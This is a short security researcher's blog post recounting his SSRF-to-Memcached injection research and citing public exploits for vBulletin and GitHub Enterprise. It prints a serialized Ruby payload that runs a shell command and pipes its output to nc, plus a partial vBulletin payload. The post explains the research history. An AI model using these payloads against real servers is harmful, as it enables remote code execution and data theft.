SSRF, Memcached and other key-value injections in the wild

Ivan Novikov
2 min readAug 6, 2017

Back in 2012 we released SSRF a different techniques to exploit Memcached servers and other services with host-based authentication through SSRF.

Two years after, in 2014, I presented a Memcached injection techniques at Black Hat USA There I mentioned that it’s possible to exploit it as a Remote Code Execution vulnerabilities in case of the data unserialization at application side.

Then in 2016 I released the same approach for other key-value databases, such a Redis, Riak, CouchDB (

And I am very pleased that all these studies were not in vain!

Two years ago (2015) we registered the first public exploit for vBulletin which used an SSRF vulnerability to inject arbitrary serialized data into Memcached. Here it is:

The payload there looks like:

set pluginlist 0 0 96

It’s a PHP serialized data that is putting into the Memcahed key “pluginlist”. Value from this key will be read by vBulletin then unserialized and executed.

This year the second SSRF/Memcahed exploit was released. It’s a GitHub Enterprise vulnerability

The payload listed below:

set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 <LEN>\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult

As you can see, it’s a Ruby marshal serialized data. The payload is almost the same as previous one but with the different serialization format.

So, it’s really cool that my previous research found some practical applications. I hope that somebody will find smth with a Python/Pickle finally ;)




Ivan Novikov

CEO at Wallarm. Application security platform to prevent threats and discover vulnerabilities in a real-time.